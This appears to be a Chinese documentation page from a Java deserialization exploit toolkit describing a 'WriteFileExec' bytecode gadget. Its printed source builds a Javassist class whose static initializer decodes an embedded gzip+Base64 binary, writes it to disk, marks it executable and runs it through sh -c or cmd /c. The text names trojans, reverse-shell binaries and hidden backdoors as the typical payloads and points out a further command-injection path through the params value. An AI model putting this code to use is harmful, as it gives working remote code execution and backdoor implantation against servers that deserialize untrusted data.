Skip to content

Latest commit

 

History

History
106 lines (89 loc) · 6.13 KB

File metadata and controls

106 lines (89 loc) · 6.13 KB

写入二进制文件并执行(WriteFileExec)

  • 类别:bytecode 别名:— 优先级:20
  • 作者:Ar3h
  • 依赖:无第三方依赖(内部使用 FileHelper 的 gzip+Base64 与 Javassist)

作用

生成一段“字节码 payload”:其静态初始化块在目标 JVM 加载时,把内嵌的 gzip+Base64 数据还原为二进制文件落盘、setExecutable(true) 赋可执行权限,然后用 ProcessBuilder 执行该文件(带可选参数)。等价于“上传并运行”一个本地可执行文件(如 ELF 木马、reverse shell 二进制)。是字节码类 sink(END)。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 产出 byte[] 字节码,需由上游 BytecodeConvert(其 nextTags 唯一含 Bytecode)承接,装入 TemplatesImpl 后在反序列化时触发类加载。
    • END —— 终点标签,nextTags 为空,本 gadget 是链尾 sink。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

生成侧与 WriteLargeFile 几乎一致(gzip+Base64 分片嵌入 getString()),额外把 path 与执行 params 烧进模板静态字段:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(WriteFileExecBytecode.class);
    javassistHelper.modifyStringField("path", this.path);     // 落盘/执行路径
    javassistHelper.modifyStringField("params", this.params); // 执行参数

    String content = null;
    if (this.b64 != null && !this.b64.isEmpty()) {
        content = this.b64;                                   // 直接用 gzip+base64 串
    } else if (this.path != null && !this.path.isEmpty()) {
        content = FileHelper.compressFileToBase64(this.file); // 读取本地 file 并压缩编码
    } else {
        ThrowsUtil.throwNotFoundOptionGadgetException("'b64' or 'path'");
    }

    int mb = 0x100000;
    if (content.length() > mb * 20) {                         // 编码后 > 20MB 拒绝
        ThrowsUtil.throwGadgetException("... over 20mb");
    }

    StringBuilder methodBody = new StringBuilder();           // 分片拼接,绕 64KB 常量上限
    methodBody.append("{StringBuilder sb = new StringBuilder();\n");
    for (String s : FileHelper.cutString(content, 2000)) {
        methodBody.append("sb.append(\"" + s + "\");\n");
    }
    methodBody.append("return sb.toString();}");
    javassistHelper.addMethod("getString", methodBody.toString());
    return javassistHelper.getBytecode();
}

危险行为在模板类:解压落盘 → 赋可执行权限 → 起进程执行:

public WriteFileExecBytecode() {
    File file = new File(path);
    try (ByteArrayInputStream bais =
             new ByteArrayInputStream(WriteFileExecBytecode.Base64Decode(this.getString()));
         GZIPInputStream gzip = new GZIPInputStream(bais);
         FileOutputStream fos = new FileOutputStream(path)) {
        int len; byte[] buffer = new byte[1024];
        while ((len = gzip.read(buffer)) > 0) fos.write(buffer, 0, len);  // 还原二进制落盘
        file.setExecutable(true);                                          // chmod +x
        WriteFileExecBytecode.exec();                                      // 执行
    } catch (Exception e) { /* 静默 */ }
}

public static void exec() throws Exception {
    String fileStart = path + " " + params;                      // "路径 参数"
    String[] c = new String[]{"/bin/sh", "-c", fileStart};       // *nix 走 sh -c
    if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
        c = new String[]{"cmd.exe", "/c", fileStart};            // Windows 走 cmd /c
    }
    new ProcessBuilder(c).start();
}

static { new WriteFileExecBytecode(); }  // 类加载即执行

要点:

  • 完整攻击闭环:落盘(还原二进制)→ setExecutable(true)ProcessBuilder 起进程,一步到位地把一个可执行文件“上传并运行”。
  • 执行命令拼接path + " " + params 直接拼进 sh -c / cmd /c,因此 params 也可携带 shell 元字符做进一步命令注入。
  • 跨平台:按 os.name 判断 Windows/*nix 选择 shell。
  • WriteLargeFile 共用 gzip+Base64、cutString(…,2000) 分片、20MB 上限、反射 Base64Decodejava.util.Base64 回退 sun.misc.BASE64Decoder)等机制;区别仅在于落盘后追加了赋权与执行。
  • 模板注释与 path 默认 .sock 暗示典型用途是投放隐蔽后门(socket/后门二进制)。

参数(@Param)

字段 名称 说明 默认 可选值
b64 Base64 字符串 直接提供 gzip+Base64 编码后的二进制内容(与 file 二选一,优先)
file 本地文件路径 由 chains 端读取(支持二进制)并 gzip+Base64;b64 为空时使用
path 目标路径 目标 JVM 上落盘并执行的文件路径,如 /tmp/a.elf .sock
params 参数 执行目标文件时附加的命令行参数(直接拼入 shell)

适用版本与原理要点

  • 无版本依赖,纯 JDK API;Base64 解码兼容 JDK 8+ 与更低版本。
  • 支持二进制/可执行文件;gzip+Base64 编码后总大小硬上限 20MB。
  • b64file 二选一,均空报 NotFoundOptionGadgetException
  • setExecutable/执行依赖目标 OS 权限与 shell 可用性;params 存在二次命令注入面。
  • 需上游具备“装入字节码并触发类初始化”的能力(TemplatesImpl 路线,通常要求目标 JDK < 17)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteFileExec]

关联

  • 上游(承接本 Bytecode tag):BytecodeConvert —— 把本 gadget 产出的字节码装入 TemplatesImpl
  • 同族 sink(同为 Bytecode/END):WriteLargeFile(仅落盘不执行)、WriteFile(纯文本)、Exec(直接命令执行)、DownloadExec(下载并执行)。